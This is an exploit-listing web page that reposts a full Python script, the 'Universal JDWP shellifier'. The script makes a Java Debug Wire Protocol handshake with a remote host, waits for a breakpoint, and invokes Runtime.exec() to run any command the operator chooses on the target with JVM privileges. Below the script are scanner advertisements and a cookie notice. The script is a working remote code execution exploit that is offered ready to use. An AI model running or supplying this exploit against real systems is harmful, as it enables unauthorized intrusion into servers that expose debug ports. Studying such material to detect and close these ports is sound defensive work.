java debug wire protocol (jdwp) remote code execution

▸▸▸ Exploit & Vulnerability >>   remote exploit & java vulnerability




java debug wire protocol (jdwp) remote code execution Code Code...
				
#!/usr/bin/python ################################################################################ # # Universal JDWP shellifier # # @_hugsy_ # # And special cheers to @lanjelot # import socket import time import sys import struct import urllib import argparse ################################################################################ # # JDWP protocol variables # HANDSHAKE = "JDWP-Handshake" REQUEST_PACKET_TYPE = 0x00 REPLY_PACKET_TYPE = 0x80 # Command signatures VERSION_SIG = (1, 1) CLASSESBYSIGNATURE_SIG = (1, 2) ALLCLASSES_SIG = (1, 3) ALLTHREADS_SIG = (1, 4) IDSIZES_SIG = (1, 7) CREATESTRING_SIG = (1, 11) SUSPENDVM_SIG = (1, 8) RESUMEVM_SIG = (1, 9) SIGNATURE_SIG = (2, 1) FIELDS_SIG = (2, 4) METHODS_SIG = (2, 5) GETVALUES_SIG = (2, 6) CLASSOBJECT_SIG = (2, 11) INVOKESTATICMETHOD_SIG = (3, 3) REFERENCETYPE_SIG = (9, 1) INVOKEMETHOD_SIG = (9, 6) STRINGVALUE_SIG = (10, 1) THREADNAME_SIG = (11, 1) THREADSUSPEND_SIG = (11, 2) THREADRESUME_SIG = (11, 3) THREADSTATUS_SIG = (11, 4) EVENTSET_SIG = (15, 1) EVENTCLEAR_SIG = (15, 2) EVENTCLEARALL_SIG = (15, 3) # Other codes MODKIND_COUNT = 1 MODKIND_THREADONLY = 2 MODKIND_CLASSMATCH = 5 MODKIND_LOCATIONONLY = 7 EVENT_BREAKPOINT = 2 SUSPEND_EVENTTHREAD = 1 SUSPEND_ALL = 2 NOT_IMPLEMENTED = 99 VM_DEAD = 112 INVOKE_SINGLE_THREADED = 2 TAG_OBJECT = 76 TAG_STRING = 115 TYPE_CLASS = 1 ################################################################################ # # JDWP client class # class JDWPClient: def __init__(self, host, port=8000): self.host = host self.port = port self.methods = {} self.fields = {} self.id = 0x01 return def create_packet(self, cmdsig, data=""): flags = 0x00 cmdset, cmd = cmdsig pktlen = len(data) + 11 pkt = struct.pack(">IIccc", pktlen, self.id, chr(flags), chr(cmdset), chr(cmd)) pkt+= data self.id += 2 return pkt def read_reply(self): header = self.socket.recv(11) pktlen, id, flags, errcode = struct.unpack(">IIcH", header) if flags == chr(REPLY_PACKET_TYPE): if errcode : raise Exception("Received errcode %d" % errcode) buf = "" while len(buf) + 11 < pktlen: data = self.socket.recv(1024) if len(data): buf += data else: time.sleep(1) return buf def parse_entries(self, buf, formats, explicit=True): entries = [] index = 0 if explicit: nb_entries = struct.unpack(">I", buf[:4])[0] buf = buf[4:] else: nb_entries = 1 for i in range(nb_entries): data = {} for fmt, name in formats: if fmt == "L" or fmt == 8: data[name] = int(struct.unpack(">Q",buf[index:index+8]) [0]) index += 8 elif fmt == "I" or fmt == 4: data[name] = int(struct.unpack(">I", buf[index:index+4])[0]) index += 4 elif fmt == 'S': l = struct.unpack(">I", buf[index:index+4])[0] data[name] = buf[index+4:index+4+l] index += 4+l elif fmt == 'C': data[name] = ord(struct.unpack(">c", buf[index])[0]) index += 1 elif fmt == 'Z': t = ord(struct.unpack(">c", buf[index])[0]) if t == 115: s = self.solve_string(buf[index+1:index+9]) data[name] = s index+=9 elif t == 73: data[name] = struct.unpack(">I", buf[index+1:index+5])[0] buf = struct.unpack(">I", buf[index+5:index+9]) index=0 else: print "Error" sys.exit(1) entries.append( data ) return entries def format(self, fmt, value): if fmt == "L" or fmt == 8: return struct.pack(">Q", value) elif fmt == "I" or fmt == 4: return struct.pack(">I", value) raise Exception("Unknown format") def unformat(self, fmt, value): if fmt == "L" or fmt == 8: return struct.unpack(">Q", value[:8])[0] elif fmt == "I" or fmt == 4: return struct.unpack(">I", value[:4])[0] else: raise Exception("Unknown format") return def start(self): self.handshake(self.host, self.port) self.idsizes() self.getversion() self.allclasses() return def handshake(self, host, port): s = socket.socket() try: s.connect( (host, port) ) except socket.error as msg: raise Exception("Failed to connect: %s" % msg) s.send( HANDSHAKE ) if s.recv( len(HANDSHAKE) ) != HANDSHAKE: raise Exception("Failed to handshake") else: self.socket = s return def leave(self): self.socket.close() return def getversion(self): self.socket.sendall( self.create_packet(VERSION_SIG) ) buf = self.read_reply() formats = [ ('S', "description"), ('I', "jdwpMajor"), ('I', "jdwpMinor"), ('S', "vmVersion"), ('S', "vmName"), ] for entry in self.parse_entries(buf, formats, False): for name,value in entry.iteritems(): setattr(self, name, value) return @property def version(self): return "%s - %s" % (self.vmName, self.vmVersion) def idsizes(self): self.socket.sendall( self.create_packet(IDSIZES_SIG) ) buf = self.read_reply() formats = [ ("I", "fieldIDSize"), ("I", "methodIDSize"), ("I", "objectIDSize"), ("I", "referenceTypeIDSize"), ("I", "frameIDSize") ] for entry in self.parse_entries(buf, formats, False): for name,value in entry.iteritems(): setattr(self, name, value) return def allthreads(self): try: getattr(self, "threads") except : self.socket.sendall( self.create_packet(ALLTHREADS_SIG) ) buf = self.read_reply() formats = [ (self.objectIDSize, "threadId")] self.threads = self.parse_entries(buf, formats) finally: return self.threads def get_thread_by_name(self, name): self.allthreads() for t in self.threads: threadId = self.format(self.objectIDSize, t["threadId"]) self.socket.sendall( self.create_packet(THREADNAME_SIG, data=threadId) ) buf = self.read_reply() if len(buf) and name == self.readstring(buf): return t return None def allclasses(self): try: getattr(self, "classes") except: self.socket.sendall( self.create_packet(ALLCLASSES_SIG) ) buf = self.read_reply() formats = [ ('C', "refTypeTag"), (self.referenceTypeIDSize, "refTypeId"), ('S', "signature"), ('I', "status")] self.classes = self.parse_entries(buf, formats) return self.classes def get_class_by_name(self, name): for entry in self.classes: if entry["signature"].lower() == name.lower() : return entry return None def get_methods(self, refTypeId): if not self.methods.has_key(refTypeId): refId = self.format(self.referenceTypeIDSize, refTypeId) self.socket.sendall( self.create_packet(METHODS_SIG, data=refId) ) buf = self.read_reply() formats = [ (self.methodIDSize, "methodId"), ('S', "name"), ('S', "signature"), ('I', "modBits")] self.methods[refTypeId] = self.parse_entries(buf, formats) return self.methods[refTypeId] def get_method_by_name(self, name): for refId in self.methods.keys(): for entry in self.methods[refId]: if entry["name"].lower() == name.lower() : return entry return None def getfields(self, refTypeId): if not self.fields.has_key( refTypeId ): refId = self.format(self.referenceTypeIDSize, refTypeId) self.socket.sendall( self.create_packet(FIELDS_SIG, data=refId) ) buf = self.read_reply() formats = [ (self.fieldIDSize, "fieldId"), ('S', "name"), ('S', "signature"), ('I', "modbits")] self.fields[refTypeId] = self.parse_entries(buf, formats) return self.fields[refTypeId] def getvalue(self, refTypeId, fieldId): data = self.format(self.referenceTypeIDSize, refTypeId) data+= struct.pack(">I", 1) data+= self.format(self.fieldIDSize, fieldId) self.socket.sendall( self.create_packet(GETVALUES_SIG, data=data) ) buf = self.read_reply() formats = [ ("Z", "value") ] field = self.parse_entries(buf, formats)[0] return field def createstring(self, data): buf = self.buildstring(data) self.socket.sendall( self.create_packet(CREATESTRING_SIG, data=buf) ) buf = self.read_reply() return self.parse_entries(buf, [(self.objectIDSize, "objId")], False) def buildstring(self, data): return struct.pack(">I", len(data)) + data def readstring(self, data): size = struct.unpack(">I", data[:4])[0] return data[4:4+size] def suspendvm(self): self.socket.sendall( self.create_packet( SUSPENDVM_SIG ) ) self.read_reply() return def resumevm(self): self.socket.sendall( self.create_packet( RESUMEVM_SIG ) ) self.read_reply() return def invokestatic(self, classId, threadId, methId, *args): data = self.format(self.referenceTypeIDSize, classId) data+= self.format(self.objectIDSize, threadId) data+= self.format(self.methodIDSize, methId) data+= struct.pack(">I", len(args)) for arg in args: data+= arg data+= struct.pack(">I", 0) self.socket.sendall( self.create_packet(INVOKESTATICMETHOD_SIG, data=data) ) buf = self.read_reply() return buf def invoke(self, objId, threadId, classId, methId, *args): data = self.format(self.objectIDSize, objId) data+= self.format(self.objectIDSize, threadId) data+= self.format(self.referenceTypeIDSize, classId) data+= self.format(self.methodIDSize, methId) data+= struct.pack(">I", len(args)) for arg in args: data+= arg data+= struct.pack(">I", 0) self.socket.sendall( self.create_packet(INVOKEMETHOD_SIG, data=data) ) buf = self.read_reply() return buf def solve_string(self, objId): self.socket.sendall( self.create_packet(STRINGVALUE_SIG, data=objId) ) buf = self.read_reply() if len(buf): return self.readstring(buf) else: return "" def query_thread(self, threadId, kind): data = self.format(self.objectIDSize, threadId) self.socket.sendall( self.create_packet(kind, data=data) ) buf = self.read_reply() return def suspend_thread(self, threadId): return self.query_thread(threadId, THREADSUSPEND_SIG) def status_thread(self, threadId): return self.query_thread(threadId, THREADSTATUS_SIG) def resume_thread(self, threadId): return self.query_thread(threadId, THREADRESUME_SIG) def send_event(self, eventCode, *args): data = "" data+= chr( eventCode ) data+= chr( SUSPEND_ALL ) data+= struct.pack(">I", len(args)) for kind, option in args: data+= chr( kind ) data+= option self.socket.sendall( self.create_packet(EVENTSET_SIG, data=data) ) buf = self.read_reply() return struct.unpack(">I", buf)[0] def clear_event(self, eventCode, rId): data = chr(eventCode) data+= struct.pack(">I", rId) self.socket.sendall( self.create_packet(EVENTCLEAR_SIG, data=data) ) self.read_reply() return def clear_events(self): self.socket.sendall( self.create_packet(EVENTCLEARALL_SIG) ) self.read_reply() return def wait_for_event(self): buf = self.read_reply() return buf def parse_event_breakpoint(self, buf, eventId): num = struct.unpack(">I", buf[2:6])[0] rId = struct.unpack(">I", buf[6:10])[0] if rId != eventId: return None tId = self.unformat(self.objectIDSize, buf[10:10+self.objectIDSize]) loc = -1 # don't care return rId, tId, loc def runtime_exec(jdwp, args): print ("[+] Targeting '%s:%d'" % (args.target, args.port)) print ("[+] Reading settings for '%s'" % jdwp.version) # 1. get Runtime class reference runtimeClass = jdwp.get_class_by_name("Ljava/lang/Runtime;") if runtimeClass is None: print ("[-] Cannot find class Runtime") return False print ("[+] Found Runtime class: id=%x" % runtimeClass["refTypeId"]) # 2. get getRuntime() meth reference jdwp.get_methods(runtimeClass["refTypeId"]) getRuntimeMeth = jdwp.get_method_by_name("getRuntime") if getRuntimeMeth is None: print ("[-] Cannot find method Runtime.getRuntime()") return False print ("[+] Found Runtime.getRuntime(): id=%x" % getRuntimeMeth["methodId"]) # 3. setup breakpoint on frequently called method c = jdwp.get_class_by_name( args.break_on_class ) if c is None: print("[-] Could not access class '%s'" % args.break_on_class) print("[-] It is possible that this class is not used by application") print("[-] Test with another one with option `--break-on`") return False jdwp.get_methods( c["refTypeId"] ) m = jdwp.get_method_by_name( args.break_on_method ) if m is None: print("[-] Could not access method '%s'" % args.break_on) return False loc = chr( TYPE_CLASS ) loc+= jdwp.format( jdwp.referenceTypeIDSize, c["refTypeId"] ) loc+= jdwp.format( jdwp.methodIDSize, m["methodId"] ) loc+= struct.pack(">II", 0, 0) data = [ (MODKIND_LOCATIONONLY, loc), ] rId = jdwp.send_event( EVENT_BREAKPOINT, *data ) print ("[+] Created break event id=%x" % rId) # 4. resume vm and wait for event jdwp.resumevm() print ("[+] Waiting for an event on '%s'" % args.break_on) while True: buf = jdwp.wait_for_event() ret = jdwp.parse_event_breakpoint(buf, rId) if ret is not None: break rId, tId, loc = ret print ("[+] Received matching event from thread %#x" % tId) jdwp.clear_event(EVENT_BREAKPOINT, rId) # 5. Now we can execute any code if args.cmd: runtime_exec_payload(jdwp, tId, runtimeClass["refTypeId"], getRuntimeMeth["methodId"], args.cmd) else: # by default, only prints out few system properties runtime_exec_info(jdwp, tId) jdwp.resumevm() print ("[!] Command successfully executed") return True def runtime_exec_info(jdwp, threadId): # # This function calls java.lang.System.getProperties() and # displays OS properties (non-intrusive) # properties = {"java.version": "Java Runtime Environment version", "java.vendor": "Java Runtime Environment vendor", "java.vendor.url": "Java vendor URL", "java.home": "Java installation directory", "java.vm.specification.version": "Java Virtual Machine specification version", "java.vm.specification.vendor": "Java Virtual Machine specification vendor", "java.vm.specification.name": "Java Virtual Machine specification name", "java.vm.version": "Java Virtual Machine implementation version", "java.vm.vendor": "Java Virtual Machine implementation vendor", "java.vm.name": "Java Virtual Machine implementation name", "java.specification.version": "Java Runtime Environment specification version", "java.specification.vendor": "Java Runtime Environment specification vendor", "java.specification.name": "Java Runtime Environment specification name", "java.class.version": "Java class format version number", "java.class.path": "Java class path", "java.library.path": "List of paths to search when loading libraries", "java.io.tmpdir": "Default temp file path", "java.compiler": "Name of JIT compiler to use", "java.ext.dirs": "Path of extension directory or directories", "os.name": "Operating system name", "os.arch": "Operating system architecture", "os.version": "Operating system version", "file.separator": "File separator", "path.separator": "Path separator", "user.name": "User's account name", "user.home": "User's home directory", "user.dir": "User's current working directory" } systemClass = jdwp.get_class_by_name("Ljava/lang/System;") if systemClass is None: print ("[-] Cannot find class java.lang.System") return False jdwp.get_methods(systemClass["refTypeId"]) getPropertyMeth = jdwp.get_method_by_name("getProperty") if getPropertyMeth is None: print ("[-] Cannot find method System.getProperty()") return False for propStr, propDesc in properties.iteritems(): propObjIds = jdwp.createstring(propStr) if len(propObjIds) == 0: print ("[-] Failed to allocate command") return False propObjId = propObjIds[0]["objId"] data = [ chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, propObjId), ] buf = jdwp.invokestatic(systemClass["refTypeId"], threadId, getPropertyMeth["methodId"], *data) if buf[0] != chr(TAG_STRING): print ("[-] %s: Unexpected returned type: expecting String" % propStr) else: retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) res = cli.solve_string(jdwp.format(jdwp.objectIDSize, retId)) print ("[+] Found %s '%s'" % (propDesc, res)) return True def runtime_exec_payload(jdwp, threadId, runtimeClassId, getRuntimeMethId, command): # # This function will invoke command as a payload, which will be running # with JVM privilege on host (intrusive). # print ("[+] Selected payload '%s'" % command) # 1. allocating string containing our command to exec() cmdObjIds = jdwp.createstring( command ) if len(cmdObjIds) == 0: print ("[-] Failed to allocate command") return False cmdObjId = cmdObjIds[0]["objId"] print ("[+] Command string object created id:%x" % cmdObjId) # 2. use context to get Runtime object buf = jdwp.invokestatic(runtimeClassId, threadId, getRuntimeMethId) if buf[0] != chr(TAG_OBJECT): print ("[-] Unexpected returned type: expecting Object") return False rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) if rt is None: print "[-] Failed to invoke Runtime.getRuntime()" return False print ("[+] Runtime.getRuntime() returned context id:%#x" % rt) # 3. find exec() method execMeth = jdwp.get_method_by_name("exec") if execMeth is None: print ("[-] Cannot find method Runtime.exec()") return False print ("[+] found Runtime.exec(): id=%x" % execMeth["methodId"]) # 4. call exec() in this context with the alloc-ed string data = [ chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmdObjId) ] buf = jdwp.invoke(rt, threadId, runtimeClassId, execMeth["methodId"], *data) if buf[0] != chr(TAG_OBJECT): print ("[-] Unexpected returned type: expecting Object") return False retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) print ("[+] Runtime.exec() successful, retId=%x" % retId) return True def str2fqclass(s): i = s.rfind('.') if i == -1: print("Cannot parse path") sys.exit(1) method = s[i:][1:] classname = 'L' + s[:i].replace('.', '/') + ';' return classname, method if __name__ == "__main__": parser = argparse.ArgumentParser(description="Universal exploitation script for JDWP by @_hugsy_", formatter_class=argparse.ArgumentDefaultsHelpFormatter ) parser.add_argument("-t", "--target", type=str, metavar="IP", help="Remote target IP", required=True) parser.add_argument("-p", "--port", type=int, metavar="PORT", default=8000, help="Remote target port") parser.add_argument("--break-on", dest="break_on", type=str, metavar="JAVA_METHOD", default="java.net.ServerSocket.accept", help="Specify full path to method to break on") parser.add_argument("--cmd", dest="cmd", type=str, metavar="COMMAND", help="Specify command to execute remotely") args = parser.parse_args() classname, meth = str2fqclass(args.break_on) setattr(args, "break_on_class", classname) setattr(args, "break_on_method", meth) retcode = 0 try: cli = JDWPClient(args.target, args.port) cli.start() if runtime_exec(cli, args) == False: print ("[-] Exploit failed") retcode = 1 except KeyboardInterrupt: print ("[+] Exiting on user's request") except Exception as e: print ("[-] Exception: %s" % e) retcode = 1 cli = None finally: if cli: cli.leave() sys.exit(retcode)

Java debug wire protocol (jdwp) remote code execution Vulnerability / Exploit Source : Java debug wire protocol (jdwp) remote code execution



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.